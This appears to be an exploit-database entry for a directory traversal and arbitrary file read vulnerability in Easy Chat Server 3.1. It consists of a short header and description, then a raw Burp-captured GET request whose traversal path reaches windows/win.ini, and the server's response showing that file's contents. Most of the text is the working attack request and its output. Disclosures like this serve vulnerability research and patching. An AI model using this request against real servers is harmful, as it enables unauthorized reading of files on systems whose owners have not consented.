Easy Chat Server 3.1 Directory Traversal

`# Exploit Title: Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read  
# Date: 11 October 2021  
# Exploit Author: z4nd3r  
# Vendor Homepage: http://www.echatserver.com/  
# Software Link: http://www.echatserver.com/  
# Version: 3.1  
# Tested on: Windows 10 Pro Build 19042, English  
#  
# Description:   
# The web server allows for directory traversal and reading of arbitrary files on the  
# system, given that the account running the server can access the target file.  
  
  
Proof-of-concept using Burp:  
  
Request:  
  
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1  
Host: 192.168.50.52  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
----------------------------------------  
  
Response:  
  
HTTP/1.0 200 OK  
Date: Thu, 21 Oct 2021 14:55:57 GMT  
Server: Easy Chat Server/1.0  
Accept-Ranges: bytes  
Content-Length: 92  
Connection: close  
Content-Type: text/html  
  
; for 16-bit app support  
[fonts]  
[extensions]  
[mci extensions]  
[files]  
[Mail]  
MAPI=1  
`